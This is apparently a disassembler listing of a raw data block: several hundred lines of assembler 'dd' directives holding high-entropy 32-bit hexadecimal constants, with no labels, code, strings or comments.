dd 71D57B76h, 650CA84Bh, 0C19B1508h, 8200F894h, 27B98A99h
dd 63003F74h, 5B153057h, 0D25A13h, 352E2534h, 18B4029Bh
dd 0BD8D9F00h, 3FB50D8Fh, 1D8ECB8h, 335FF5C9h, 0CC9FEA5Dh
dd 110E946Ch, 0A08499F9h, 180B6D7Eh, 0FC40FB8Ch, 980F955Eh
dd 0BF580394h, 980D01CAh, 5B0754D8h, 2B1D5492h, 0C29CEB27h
dd 0DD788003h, 1CB0D3F7h, 75D5B0h, 0BAA8356Eh, 6F0184D6h
dd 0A522E534h, 0E0A807B7h, 54520010h, 3AB2A93Fh, 0AB009A50h
dd 0B76259D4h, 0E6CE2D5h, 0B054FC30h, 89E239EEh, 2BE07525h
dd 5C28AD7Eh, 0C77FD687h, 280F51E4h, 41E96BA8h, 0E2B23037h
dd 46A030h, 0ACA3F1C9h, 0E229FF7h, 0F402BEE8h, 0A5BD382Dh
dd 0D7684241h, 44826960h, 6B004890h, 0CD2CA9C1h, 0A67EF6h
dd 0B70930D2h, 38ACE2DDh, 7FE47D00h, 0CF8770AFh, 0EDB03D9h
dd 10EDCC28h, 34F6AC0h, 0C5FFA700h, 6215F6C4h, 338FA192h
dd 3A2160h, 17E0FDDFh, 0CAD85C7Ah, 0B1CB1503h, 0B029A090h
dd 5D73FCh, 3A19C6CCh, 67917E64h, 88A8471Ch, 3EF16980h
dd 3DAA4F9h, 404D6196h, 5B8EA71h, 0CC0FD86Ch, 0DEB8F76Bh
dd 4E0AC1C0h, 95206F19h, 28910F50h, 36A3E800h, 12BC76h
dd 6BE6803Ah, 66B5DE93h, 403249h, 0A082BA3Dh, 70F06946h
dd 451E1F2Ah, 6B420E5Dh, 6E3AC5A1h, 4C28300Bh, 7F8D4607h
dd 87811126h, 9BE4D374h, 84DB00F2h, 0DE4520CDh, 0D60BC0F8h
dd 0B09904h, 53892235h, 6F7717A3h, 2F46C0A0h, 0A7F63936h
dd 7AA27300h, 0E2195B24h, 7CB4030Ah, 4C46B53Fh, 0AF4ADCA0h
dd 0A2E4B200h, 0DAD51BC9h, 0E5160099h, 0B06736E0h, 3F282139h
dd 354CB808h, 6EAC0027h, 0B83BA65Eh, 2B8A00BBh, 1F6BECF0h
dd 7501C351h, 6354AFA2h
dd 1AF84958h, 6EA000F6h, 4F0BAE79h, 6400CE56h, 0C365B1D7h
dd 60A9D5Ah, 8A498909h, 3B026837h, 5E3E3CC0h, 0DF97C143h
dd 5D31880h, 861E8E5Ch, 640C29C0h, 1FFED73Dh, 0BAE49423h
dd 5818900Ch, 167CE120h, 0B375F81Ch, 6097B6CFh, 59BEA746h
dd 1021F17Eh, 0FABC609Eh, 0B7D3E160h, 0BA18AB71h, 0EA799D7Ch
dd 0B1CF12CEh, 215319A3h, 5D03E0D5h, 383D8530h, 0A3238937h
dd 0DCF3904Ch, 4B733AD9h, 6605D002h, 1087608Eh, 1C5A5Eh
dd 0DBAB89B3h, 0E7003311h, 71750831h, 0B80799E8h, 0B54012C3h
dd 63C507FCh, 0C5E9304Ah, 0A1008209h, 0A61EAFE8h, 4877BA51h
dd 0DC0067DAh, 19E50B0Eh, 0A700B8CBh, 7496C47Ch, 0F61AD62Dh
dd 0F5980B03h, 4480AA20h, 91B5697Bh, 0A6BCF400h, 0A0497128h
dd 0E187022Dh, 3C52D008h, 8A178CA0h, 0C203241Eh, 0BA8B418Ch
dd 110830FCh, 1E620521h, 201F9590h, 61460FE4h, 0F18F04h
dd 0A95FECD4h, 0A65D947Ah, 0F3F1B200h, 9752933Eh, 7174E4h
dd 1C87A7D5h, 318FA82Dh, 9173006h, 3E18D9AEh, 0DFA69C1Bh
dd 9C224Ah, 29B641BBh, 289E885Ah, 471C2E00h, 0D586E1C6h
dd 3799C0D8h, 5FCD2D96h, 0A8113C60h, 72D14BC7h, 43A607B1h
dd 46ABA189h, 239860A7h, 7EA9C3A0h, 0C3921600h, 40750F8Bh
dd 8634925h, 0EE612B16h, 55B09918h, 2FF64024h, 0FBD29910h
dd 8CC7A040h, 3F1E8B04h, 2862B4C2h, 639823h, 27F38E20h
dd 2F095D0Ah, 0A3927914h, 12106328h, 0C4780038h, 9CDA4648h
dd 0B7017Bh, 0A7B1506Ah, 14D60007h, 0C2ED08F9h, 1B002DD1h
dd 0C976CAC4h, 0A79855h, 93666D8Eh, 0B7E208FDh, 0DB28F460h
dd 635C896h, 51D88EACh, 61004130h, 0D2285A7Bh, 3F72DF0Ah
dd 8580B65Bh, 60C3ED38h, 0C0006CFBh, 0D5BBF4DAh, 0CFF6D750h
dd 0DC20BC10h, 0B7DB26E6h, 0F330D326h, 0CE359C00h, 0E05AD5A0h
dd 1BB100AEh, 1E015556h, 76006838h, 0C2A2DFBDh, 7812F50Dh
dd 570E0077h, 2D6D09DDh, 300058A5h, 73DAF3A6h, 380F528Eh
dd 5A009CC8h, 42F80BB3h, 5BE2775Eh, 92FDB501h, 0D9B6DFBCh
dd 54755080h, 0D26EF003h, 415D180Eh, 87ED803Ch, 605BBEDCh
dd 50F5A868h, 10009091h, 153E54B9h, 553356h, 8560DC5Ah
dd 884E49E8h, 32BDE600h, 203BB16Ch, 62BB0C25h, 0C42A119Ah
dd 1C5140C3h, 91F0A796h, 1CD59EFh, 7493DB6Bh, 0C84E3814h
dd 37766E53h, 19BEB800h, 60114918h, 614A006Bh, 1667BBCEh
dd 800E33F8h, 6D32B17h, 7C6918F1h, 0C4680E50h, 810C6674h
dd 1400E919h, 0FB351C59h, 7BB13CCh, 92E4C08Dh, 8E1EE16Ah
dd 69989112h, 3E98930Ch, 6C00A0F1h, 2692DAF2h, 0C334D715h
dd 0F9779340h, 0A2614DA8h, 38FF0530h, 31B89B90h, 3C58F660h
dd 275180C8h, 5B1D8D71h, 637900F1h, 8EBF68E6h, 5173F925h
dd 0F88BA52h, 0C1849443h, 23C77319h, 9861FCh, 9586B171h
dd 6A8C1430h, 52460901h, 0EFF81102h, 68FD6BECh, 0FC041051h
dd 0FEF10618h, 7CB7D910h, 5DF9001Eh, 2E5546Bh, 87749289h
dd 0BF06E900h, 0D60D3ECBh, 290364F6h, 0F4282157h, 4C111312h
dd 217324F6h, 17121C7Dh, 89772610h, 44A8081Fh, 22848B2Eh
dd 3B447E58h, 0AAA30090h, 30EEE812h, 893AB5CEh, 0C277804Ch
dd 8EFDB6C8h, 0EC655ADBh, 27BB0094h, 0A347BAC4h, 0CB230088h
dd 9EB20D6Eh, 4A009734h, 3838F5Ah, 603378h, 0E5BCB8C7h
dd 6C0F7018h, 642EAD00h, 55D51A3Ah, 1C129837h, 307DE33h
dd 6EBB15C4h, 0E345C0C4h, 0DD05FA13h, 0FDE5C190h, 0A169B840h
dd 435D4Ch, 52F07FD1h, 903665CFh, 3C67D1Ch, 0F34CD280h
dd 3B93019h, 5E3298FAh, 4000FB24h, 237BA0EEh, 0ECDEA9h
dd 4741B176h, 0CD1D0B2Ah, 0D87C3C1Dh, 86C3F400h, 0CE8999h
dd 88F3BD66h, 172F8063h, 0A730A900h, 20C29339h, 3CF02Bh
dd 27248F16h, 6403B537h, 67A58703h, 0C8EAE677h, 6053F1h
dd 0D9828ADCh, 0AF763795h, 3403D37Bh, 293A59BCh, 360888E4h
dd 0CEC44CB5h, 4A68F00h, 55751F1Ah, 0B3845800h, 8CB89329h
dd 0EA05009Fh, 3A302A48h, 2C70A8EDh, 7AF98403h, 909C7EE0h
dd 0E7BC5F5h, 0DBBD5E3h, 2A6FA2C0h, 6B07DE99h, 0F2A3AF79h
dd 0B458F8A0h, 0EA70017h, 5269E00Ch, 1F00E79Ch, 21612382h
dd 19DE08h, 46531533h, 0EE9E7A9Dh, 1C000275h, 0B085E4B8h
dd 1429CB60h, 0F488C2EFh, 300B5700h, 19D621D9h, 0E9642712h
dd 56169400h, 0C16E8Bh, 37C40ADDh, 0E750997Eh, 7C22F100h
dd 0DF74E45Fh, 6891F80h, 880380F2h, 1CCF950Fh, 0A44F600h
dd 0D0BAD3CDh, 0A4860097h, 0D25C3330h, 0CA006550h, 0EC4681D4h
dd 2DCA7FEh, 671377Ch, 7FE0C8C6h, 0BF1F8822h, 1E822C55h
dd 0C0966091h, 0F598C95h, 0CB36328Dh, 20B092Bh, 0A2F03F03h
dd 5A5068D0h, 25155702h, 425D0DB4h, 0AF01FF38h, 204067DBh
dd 0BD2EE238h, 0AB01DA33h, 2FC095E6h, 0C85C43C6h, 1FA193h
dd 5C06C2A8h, 693FF8AEh, 0EEA4240Ah, 0E301DCCDh, 540821Bh
dd 0FE767020h, 98E430h, 0A038ABD1h, 3E063513h, 68A3CC0Fh
dd 0F70EDF55h, 3800322Eh, 0D02D0D66h, 0DB780585h, 0C0AACAF0h
dd 75997747h, 8A3C3203h, 1879A44h, 16BCBA20h, 0F8852F10h
dd 433CB5E1h, 0ABD580AFh, 994F2770h, 0D4A100CAh, 5204F77Ah
dd 0B200CF66h, 0C2E40FEDh, 0DFCE982Fh, 2C40C0B8h, 39F90C2Bh
dd 0F2A68100h, 0D6158F22h, 0CD2300C8h, 56931371h, 0CC073361h
dd 89A42ED9h, 820C790h, 908B0388h, 0D34C5648h, 0F5B36490h
dd 3D05A800h, 12E808D9h, 0E2CC2627h, 3E60014h, 0C71C15A9h
dd 8D13D400h, 0F58F4953h, 89B700FCh, 0A19654F2h, 0B80F6C9h
dd 18A20087h, 651B0573h, 401DFB12h, 0C380A1E6h, 48566A6Dh
dd 0AD715Ch, 4AB1371Fh, 32384391h, 0FDD6C000h, 870A3CDFh
dd 404519EAh, 3037BA29h, 0EF00C440h, 0A71D6342h, 393D24h
dd 0B9311FE4h, 3F6FD238h, 61FBEA14h, 8350384h, 0F2CF5CE6h
dd 0EFECA06Ch, 533FAC5h, 91117B63h, 0F8BBC05Ah, 6800DB34h
dd 929DE30Eh, 0F7B414Fh, 3573360Fh, 94802DC9h, 5EB14ABFh
dd 1C507800h, 4F2822A2h, 55E6001Ah, 6AF4F7F6h, 0CE027279h
dd 9E406B48h, 0C3A86092h, 128D3A27h, 4A2B5B80h, 469D824Fh
dd 7F24390Bh, 56785E7h, 856917C0h, 0BBEC0070h, 5D1AC65Bh
dd 231C3DF7h, 2E40A9DAh, 0A08C59D2h, 9380F3Bh, 9BC390BBh
dd 4AA05006h, 0A900DDA6h, 8710AFD9h, 0EF90C27Eh, 28AD32D4h
dd 3FBE478h, 6564D79Dh, 0A49937C1h, 567A703Fh, 252F324h
dd 0BBE58039h, 7C74D611h, 785502F7h, 9C831806h, 8DE0BC4Bh
dd 0BA3BDC25h, 7D6E012Dh, 1FA33187h, 19BBAB70h, 71C5E835h
dd 0F21060A5h, 44776C06h, 19F6DAh, 48C721DBh, 692F853Ah
dd 940724h, 9E410400h, 8412C1h, 0EBD1B45h, 3BBB906Dh, 294F6500h
dd 2593797Ch, 92D300FBh, 0C9B7A7FDh, 30E527BAh, 790035CBh
dd 0BC9942EBh, 0F4B9FDF1h, 15E7F98h, 7157ADEEh, 0E0D7689Bh
dd 8F48901Fh, 0C9FF0058h, 59E32A2Bh, 0FB6426DFh, 7E31043Ch
dd 55DC811Bh, 0F840D65Eh, 0D100193Fh, 75201797h, 0E9AA2A1h
dd 8C3E04B1h, 30825146h, 0F3A37400h, 30B3F865h, 0E5E022h
dd 0CFE32715h, 0C15B34DCh, 182E1E70h, 90770051h, 2C1FB0FFh
dd 9D70674h, 0F192578Bh, 0D57A7224h, 23C521Ch, 0B04F3B31h
dd 404DC256h, 0D5F6C6h, 0AD4ADC4h, 2DCCF2DBh, 53940807h
dd 9E10ECE2h
dd 99ED18h, 2DDACC0h, 0C126E47h, 53264B00h, 0BF0A70F9h
dd 0FB0F58C9h, 1A41713h, 7A067B78h, 9AE0EBCFh, 0BEC0F1A5h
dd 94A82B09h, 0CA370019h, 32FF39F2h, 825CDE49h, 27961EA7h
dd 0C0C00A8Fh, 58B41435h, 7EE30F94h, 0CB60D295h, 0B6D107B0h
dd 1C758E0Fh, 0ABF9873Ch, 69335B50h, 0A6E8F5h, 64223DC8h
dd 0B49EEBB1h, 903B58h, 0BD0766C6h, 0F09AE23Eh, 5DCE00EAh
dd 72065C7Fh, 0B4004F89h, 18F0AE04h, 75C97796h, 0D83D07F3h
dd 0F0D4EC7Fh, 6D4321FAh, 95FB4102h, 14A2014h, 70EF79C0h
dd 1E0EE19Ch, 0C0EEA9C9h, 118AD1FBh, 609B00E7h, 873D1D6Ah
dd 7600BC53h, 0E2A54291h, 221BAB2h, 74F5C084h, 78C03BC1h
dd 57EAFE0h, 596B9400h, 6A6FE72Fh, 624A0072h, 204FD77Dh
dd 490255FAh, 0BBC2AF09h, 31B1408Ch, 5FB100DFh, 6C0D7A24h
dd 93001ACBh, 3B3E6081h, 708C883h, 2B96B7FAh, 7DE870E9h
dd 0A138CB75h, 6FCE00D6h, 0AF83162h, 0D2C91DEBh, 9766C080h
dd 2282C3D9h, 8D47F400h, 0C4D03C2Eh, 4E9C0176h, 0E814817Fh
dd 85D480B7h, 3A174416h, 7B0203C8h, 103BB6D8h, 0FCB3111Fh
dd 2B24A8C0h, 48588851h, 0F41C4F66h, 83495F42h, 6A1C0141h
dd 2B78F8A8h, 0F9C12916h, 5E10DC00h, 969FD9h, 0ACB225B3h
dd 3835A730h, 0A002DF2h, 9CEF13A4h, 1F590B44h, 8F71DF82h
dd 27E70E5Fh, 0A2C10F79h, 0F0922923h, 0B205E0A4h, 1541E30Bh
dd 0E10FE305h, 58C268C0h, 594900Ch, 388FA37Fh, 174C8092h
dd 0FB30F760h, 7F2311C3h, 97ED0051h, 2EDF8EF0h, 0C3E055Eh
dd 3ED61D12h, 0D4484F80h, 246DCDDEh, 1ED80110h, 0E6670E2Dh
dd 0B9276000h, 9D00033Eh, 4B9A2417h, 1CBB0A05h, 0FEDD77Eh
dd 116566Eh, 1540D968h, 0F61DF876h, 80263Fh, 146875ECh
dd 0F6C482D2h, 1877EA50h, 59AF6228h, 4507AAA9h, 0CB8C2E6Bh
dd 9479D130h, 0B188C085h, 0A22DB37Eh, 2791FF1Dh, 0C2B211C3h
dd 94D1DDC1h, 42DA4C5h, 4A2F17h, 98AAD554h, 497726F4h
dd 9F1CC30Bh, 2B8000B9h, 995348h, 0AEA7EB03h, 0BB44EC47h
dd 0D9596600h, 0BC0B084Bh, 5BF90062h, 0A4C9C81h, 380017B1h
dd 1691A83Ah, 4C070h, 81BB4BD7h, 27445271h, 5D902800h
dd 87511183h, 0CF3D03EFh, 8AC03B07h, 0D41E92B1h, 813B6312h
dd 51B86082h, 5328D7Bh, 47B25DF2h, 7AEC80F1h, 681844B4h
dd 7CB00411h, 0D6E400DAh, 5878C6EDh, 3F387582h, 4E5A52Fh
dd 11121830h, 0A80088D7h, 0A3608DD1h, 4C00C822h, 8BEDA114h
dd 2C2677E6h, 0F8C0859h, 81E0D544h, 0E95BB78Ah, 0DA00F971h
dd 0F357EF86h, 2EB26h, 460DD576h, 19635A3h, 4E2E6300h
dd 380AB3DAh, 0AD0E407h, 8B93F0C2h, 38268Ch, 0BB43E036h
dd 0D71FB4C0h, 77007931h, 5263B8A4h, 4DDB0051h, 0DDE0FB0Bh
dd 8B00F55Ah, 81CAC342h, 0F2C81134h, 0C2DA38C1h, 77792104h
dd 2E76C0DBh, 52132551h, 0C5005C09h, 0E3C6D3D1h, 728B0534h
dd 801C60EEh, 9403060h, 0CE88F200h, 69D5AB10h, 96EA2Bh
dd 1D13A5A2h, 9B5836EEh, 5B8CC500h, 0E7AF64F4h, 1E280043h
dd 903A0F60h, 0B70254BEh, 23AEBA29h, 0A88000A6h, 0D12EBC05h
dd 580069C7h, 13312D92h, 832B0A08h, 808CDEh, 3F40E8FEh
dd 0AE17DF10h, 6804EBE4h, 88065F6h, 3D67B3EEh, 930EABDh
dd 0AC9BA730h, 0C579E8B0h, 891D1892h, 0BEC03F69h, 618FD910h
dd 0F9C70F52h, 34A0844Eh, 0A6AD379Fh, 0BC745100h, 99878005h
dd 5A2804A0h, 8315673Fh, 0D189C7FCh, 6DF7FCC2h, 4BA56E05h
dd 0DC7F607h, 8D623CF1h, 0D9052839h, 80283044h, 0CB96D1A8h
dd 820D373Dh, 7D36DF0Ch, 80B0A011h, 3842BA93h, 0BE00DE18h
dd 60DB3965h, 5803B2E7h, 6AFE6DE6h, 0E86193D5h, 731497CEh
dd 9813024Ah, 5D9E1B33h, 0DAE78CA0h, 0D354BE0Ah, 5727F0B0h
dd 7F109928h, 3FF9C8h, 8E8D921Ch, 43EEB635h, 83CD7701h
dd 59144438h, 0EC741C70h, 12CCB008h, 0A00C3Eh, 78F43AA4h
dd 3700B779h, 2C764CBBh, 7735F156h, 0CD707Eh, 0C81C692Eh
dd 11CFAD62h, 0CC92B77Bh, 588C2521h, 5C90FDDBh, 7F0060F4h
dd 0D0EBE7BDh, 7BD71E73h, 9A21397h, 9D3CC053h, 36060B23h
dd 0C941B1E4h, 33FE19AEh, 9CEF7016h, 7F40CCF8h, 0EEE7EBD9h
dd 0EE498BDh, 9A47FD93h, 40CA5E1Fh, 88FC7BB8h, 0C0ED3EA9h
dd 0A304BD42h, 6CE6F526h, 8BA56C80h, 1D4F008Ch, 722B2EB3h
dd 4005A6Dh, 9D932824h, 2C4392h, 0C3155EFDh, 0F6B107DCh
dd 0AE61CC1Ch, 8D004464h, 13C9BE4Ah, 0D18900D5h, 0D9836C1Bh
dd 1500684Dh, 60EFA3CFh, 0ABE4285h, 135DA0DDh, 9A2000A8h
dd 0BA24F68Fh, 9EE9C100h, 8730822Eh, 26CB0355h, 7AB1B7D4h
dd 81E0A9C2h, 3B00DE98h, 1721DA3Ah, 0A82F3E48h, 78E646C0h
dd 6DB1009Bh, 4F67EF1Ah, 0DC09E0E9h, 0CF281h, 702F84A5h
dd 0E2160099h, 0BF987349h, 6C3EFFC5h, 0DD7B8053h, 0E7C0EAC4h
dd 0A0941716h, 40800256h, 10785AF5h, 170B9C01h, 2B71B8D8h
dd 2542420h, 4BFCD050h, 0F8C1CD5Fh, 0CF14ECC6h, 70358916h
dd 232EBC43h, 0E525D038h, 9B4D035Ch, 52BFA726h, 0F01477D7h
dd 0D188E0EDh, 1C805D01h, 0F53F2635h, 2E5AC370h, 9AD979h
dd 2CA548D8h, 8F004125h, 907319D6h, 43ECB5Fh, 6A4A67A8h
dd 0C684C068h, 0F101FAC0h, 8F62F047h, 945142E4h, 9822BD59h
dd 0FE99097Eh, 0E00EEAh, 8900A2D2h, 0FF285530h, 1F270A25h
dd 0CED9518Ah, 5A002D8Fh, 4A2C07A0h, 2E0C6717h, 0FBE812h
dd 0D716BECAh, 750E1209h, 20450342h, 0CB52D030h, 743A0060h
dd 6BDC34F8h, 0C800260Ah, 9BF57865h, 700969h, 86A2CAB3h
dd 27715EF0h, 0F4C6D59h, 0E024EA84h, 86A137A9h, 22B700CDh
dd 0E93F4B19h, 9201C53Eh, 0D46760ABh, 8874F6A5h, 99170076h
dd 0A89315A3h, 4E4C7F6Eh, 736B1784h, 8C002E16h, 0C72016C1h
dd 65D814E7h, 85018089h, 1D0CD6ACh, 70E0E477h, 0BBE0EE71h
dd 6A2B3D07h, 7CC0E378h, 130DBAB0h, 34C126Dh, 6B462854h
dd 20F8F084h, 0CA07E8F6h, 2FE75339h, 0E027E925h, 0A9B4202Bh
dd 0E2E4780h, 6665CF76h, 6A00100Bh, 0EE053F08h, 72612A00h
dd 6AA7E1EAh, 0D76D1FFBh, 62504071h, 0F19658B4h, 746EAD00h
dd 2B39C210h, 0E38800EAh, 75C46B73h, 8C0F3D12h, 40DB48CCh
dd 0DDC1F62Ch, 725600B0h, 0D399F42Eh, 68011EC9h, 0EBE81483h
dd 0CECF2F7h, 4FC1907Fh, 7A43BCE1h, 0A5E65A00h, 39B49D68h
dd 381A0C77h, 5D8E96Ch, 84B29500h, 0A18AA481h, 987E0557h
dd 0E48DED5Ah, 68006070h, 69230542h, 5DA5FE06h, 0BA00043Bh
dd 3AB8DD09h, 26017085h, 9CF1B768h, 184341EEh, 7110E8Fh
dd 0D6606F19h, 51C1277Bh, 0D92B600h, 0F93A852Dh, 4771C0FAh
dd 3943387Dh, 858185F5h, 0B4E01A30h, 26FF0798h, 41DFE64Dh
dd 0BC043289h, 873E18h, 0F70FC76Bh, 4B7B3DE7h, 0DD1E0Ch
dd 14DC0B90h, 6400A01Bh, 2E3D6EE8h, 0C70DFA85h, 9076A959h
dd 0F9CF9CE5h, 490E8911h, 5C926860h, 0F8F37BFAh, 37157D9Dh
dd 1050CE43h, 87880DD7h, 7402A410h, 0C51858E6h, 389C1080h
dd 0F50FBAF9h, 0E008EE2Eh, 7BA20B01h, 9AEF0055h, 1119B8D9h
dd 397C8D65h, 81A3E13Ah, 0E98EC1AFh, 4470FA1Fh, 0C5680064h
dd 3F384DC6h, 47A6C1Ah, 5EF4F002h, 6074B2CBh, 0B16241h
dd 0C9508CFAh, 1DDB3EBEh, 111B2207h, 15200FA2h, 75A931D5h
dd 0AC0400C7h, 0D7A693BEh
dd 37023C63h, 2DC8FBEAh, 0F85B4060h, 8FFA036Eh, 175ABEC1h
dd 8002F83Eh, 68E0CD36h, 1D062F55h, 182E4D90h, 8E50211Fh
dd 0E813CE00h, 7888FA08h, 7BDC00EFh, 47E261C0h, 76008ED8h
dd 0E8FBBC49h, 0C5E42FAh, 65D97164h, 99241210h, 76810CF9h
dd 5431ACA9h, 809AE8F3h, 0C43F6695h, 490821EEh, 88E86820h
dd 222F1E34h, 0A1F159D4h, 0ECCEBDD8h, 1CB3EC20h, 5D4F2088h
dd 0A2EE0125h, 891D5FCAh, 0A02C338h, 0F1408463h, 639D6EAh
dd 19E5C663h, 0F36E09EEh, 0D6B24021h, 1CC2AB9Eh, 44B85AA7h
dd 40E40641h, 0D71FC73Ch, 15DC00CFh, 970DDA5Ah, 0D5005C40h
dd 0AD071042h, 6F91B2Ah, 5BA811D0h, 2207B106h, 7DB1DC42h
dd 85FAED50h, 6098907Ah, 6AB7212Bh, 4E005DDCh, 89F858DAh
dd 6D86045h, 0F4EAA202h, 7801D0F2h, 540A0E42h, 9DC807C4h
dd 6683D39h, 0B1A43800h, 833FBE14h, 2CCFBA00h, 725E9590h
dd 0E0EA0073h, 94C352F4h, 0B35CB43Dh, 0B89E00A2h, 0AC9A9BBBh
dd 154072Fh, 501298E2h, 6B493E66h, 37F7801h, 0DE7D15B7h
dd 3F7363FCh, 0EB8FFDC1h, 8B00E180h, 85137C12h, 87494700h
dd 6459A3FBh, 0EC29E630h, 9E77008Bh, 0B0C49F0Eh, 0F9001680h
dd 6F5625E4h, 8AA8CFh, 94A208AFh, 0FBFF484Fh, 97B73A00h
dd 95675209h, 13E0FF8Eh, 0C08A0F0Eh, 7A6FA904h, 77E027EFh
dd 2C836519h, 0CCF1F00h, 0A324C31Eh, 5822C756h, 0EED960F0h
dd 18004DE5h, 536325EBh, 58939E12h, 2F0063C5h, 0B6FDFF13h
dd 2501EC28h, 1E10C1A3h, 0DA6063A5h, 71C20040h, 0DD7A49CCh
dd 567492FFh, 0F220A00h, 5119816Dh, 0F47B28C9h, 0B043E1ACh
dd 4EF9C0E6h, 0F02339D2h, 40F0CD1h, 0D40CF48Eh, 9E009810h
dd 80B83277h, 6957BCh, 0CDEB3CD6h, 31F49CC3h, 0EB69103h
dd 7179AC98h, 0A8444429h, 84EDCF44h, 0D4898371h, 0BD172841h
dd 3103912h, 13B58B82h, 0C42F0C14h, 92445528h, 3DA42065h
dd 2519CC42h, 476151B0h, 48AEA414h, 0B2234210h, 5221DD24h
dd 826412ABh, 25B9CA64h, 351404E9h, 28E84AA0h, 94287F08h
dd 3A1964C5h, 0BD5C29A9h, 9F61BC51h, 4280EDFFh, 0D8B0F429h
dd 955A26B2h, 392C4Fh, 5D4B60CEh, 90008E76h, 0F9B220FFh
dd 0F2BFBB0h, 0E4721D0Ah, 0F8689520h, 5A02131Bh, 19ED9DA1h
dd 0B1566005h, 8A633AF5h, 8E807EB8h, 3E384218h, 80EB5B45h
dd 9F97F712h, 93DE23h, 4B1DA8E1h, 0C6676E3Dh, 0CC1C47F0h
dd 3280DD06h, 0D038548Ch, 27DF0045h, 41F1EB0Ch, 0B24C184h
dd 10018B7h, 2034E693h, 90B000A9h, 5C956115h, 2B312F3Ah
dd 0D94FD0E1h, 0B630C0h, 0D606DC4Ah, 944017FAh, 7876303h
dd 1C78F4Bh, 0D3CB1990h, 80C33F60h, 7392EC68h, 15BF10Ah
dd 0FA31AE54h, 0D97C6CFEh, 0C58083C3h, 0A1105001h, 7BE0A74Fh
dd 0D8E30062h, 8393A603h, 0D7031465h, 0E7B23F52h, 5D848068h
dd 66D400DAh, 14541CD6h, 0A007692Fh, 4CDF7686h, 156ED950h
dd 0E4940017h, 4F9FEA12h, 98005838h, 4885F572h, 0AC1B02h
dd 0F70EBAA3h, 373A6293h, 0F1C65F00h, 5249631Dh, 0E01B6268h
dd 0C05F705Dh, 152B42h, 6D65DAF7h, 959CC8F5h, 0A9F86260h
dd 37E4FD3h, 0FD52AD72h, 9188334Ah, 2C005C1Fh, 871D1785h
dd 9BA230h, 67156A4Ch, 5FA4B8B9h, 80EA1F3Fh, 8C212BA9h
dd 3F7880h, 8D8BA285h, 2326670Fh, 0F04148h, 22041EE8h
dd 2F06871h, 75AABB2Fh, 1CE044B1h, 0B400742Dh, 95AF3BCFh
dd 84C865h, 473153A5h, 6E06D42Ah, 0AEF62F00h, 211B9796h
dd 9EFC01h, 2ABFDE69h, 3846E37Bh, 14E9ED00h, 98F4EC7h
dd 6B9F01C3h, 0F4ADBB90h, 0CF88ECD5h, 99C2FB00h, 0C71C76FEh
dd 0A6B400F7h, 4F46B1A1h, 10C08E56h, 6EFD2360h, 42E304E6h
dd 0D0B2C47Dh, 46F35154h, 0C1C5800h, 7AE6AAE7h, 1474019Ch
dd 8B502E5Eh, 0A48DCC9Eh, 0EF070400h, 0EA5C990Ah, 89A500F1h
dd 33C1ED16h, 0EB3D0DB5h, 693FF2B4h, 926F008Eh, 0F1D91E8h
dd 85060096h, 0E7123034h, 0B200BA74h, 5CE208B5h, 3C4CC20Dh
dd 0C685A1A7h, 878F38CFh, 678460F6h, 69380BB1h, 50E40020h
dd 9AB2A842h, 0FB94005Ch, 0CDE55304h, 35018557h, 773E90D5h
dd 69D525C1h, 4709F8h, 4DE9EB19h, 54BE1F87h, 8ACF200h
dd 979EC017h, 0A55F3E11h, 0B5591Dh, 66B720D7h, 0D50021B2h
dd 3FC665F3h, 367D99h, 17FF429Eh, 0A788EC23h, 6427131Eh
dd 0AEBE35C3h, 0F074F86Ah, 8BC41CEFh, 0BB40805Fh, 604E55FAh
dd 1FFDB39h, 44C9EB4Bh, 19EC7088h, 6C7500A1h, 81DD59C1h
dd 7700CE34h, 5117C03h, 382C8EB0h, 2600A28Ch, 40615D5Ah
dd 0A800594Fh, 9A7DA953h, 45CC19Bh, 0E63E6A21h, 0BCEC8012h
dd 2B385042h, 0FB711FC3h, 4474D3C0h, 7B970h, 6A881CE7h
dd 0D5610C29h, 0C4391100h, 7E64365Bh, 0FC00028h, 6953197Ch
dd 2000EA8Fh, 0F8263AF2h, 1281ACEBh, 0FB25D061h, 0D73CCC00h
dd 28E354h, 0F122B653h, 751B95E7h, 0F8FA643Fh, 8BAD3E02h
dd 0E08C8011h, 9CBC0Dh, 1E91E219h, 0C02AE9D5h, 1D20500h
dd 443ACBEEh, 2E063CE4h, 0C063FD1Dh, 723F45B1h, 940E922Dh
dd 0A3A0DD4Dh, 0C088106Ah, 327630Eh, 2E91CC15h, 7D8C760h
dd 0EF3A11A8h, 0D3E90FF0h, 99C47F5h, 0B157EE00h, 2629003Fh
dd 0B9C4DA0Ch, 8C28957Ch, 5203B460h, 0C88A4EDEh, 0A4509F16h
dd 8038D5h, 0B29DFF99h, 0C6592F89h, 6C9AF209h, 2A0F80BDh
dd 77972D8h, 0D31B1AB4h, 513C0346h, 0A21C54D0h, 2543C900h
dd 0FFD4EB7Dh, 8C395089h, 3E1A1CDDh, 0EC0E00F0h, 0B36CCB0Bh
dd 9DB95D3Bh, 6B8370A2h, 9044A5E3h, 5EDA0Fh, 12D6EB82h
dd 0A6A27823h, 3BFB6D1Dh, 0AC185940h, 2DBAB0h, 0F2D95D7Eh
dd 7B0BB9A4h, 8D58FB75h, 0B03E0072h, 0C13A8BCh, 0AC581E71h
dd 1F860631h, 5900905Dh, 99CF9B06h, 0E2C2F51Ch, 5818C06Ah
dd 0FC9C194Bh, 12DD9D00h, 2A1A0DEFh, 88DC002Fh, 61173C4h
dd 14005380h, 5B9E49Dh, 0AF21AE5h, 0F1650BDDh, 0C3CF1EB4h
dd 44BB6B9Eh, 0FB3B8990h, 0F4011F72h, 87B963CCh, 9C4010A4h
dd 12C34126h, 0F3D3FAh, 7C0E9B28h, 5407E2C7h, 67D82342h
dd 1C83A400h, 73992463h, 0B35100DFh, 8BCA3BD0h, 5B41D500h
dd 793E6996h, 9A15007Fh, 64514C0Dh, 0D0E06C59h, 0DD194800h
dd 0CC5313BDh, 0C1EE39DFh, 0DB8DAA80h, 80DCAD02h, 4DB04A00h
dd 0A7DAA4AFh, 20294C57h, 714FEB01h, 0D4595814h, 9C0BF29Ah
dd 0EAF6E3h, 2AD9C08Bh, 0C8EF0040h, 5F66470Ch, 8D00FC2Dh
dd 0C541EA42h, 2EBF223Ah, 804849F9h, 0DA599A19h, 0F0929F2Ah
dd 0DD2F2501h, 3162E268h, 1EA80430h, 0CBAEB4ABh, 0F7601Dh
dd 0F166850Bh, 5C50047h, 0A94DCFF4h, 1C00C462h, 0DE21704Eh
dd 0A4FA2Fh, 0BA83ABE1h, 6A13EF81h, 0D780F01Fh, 8000424h
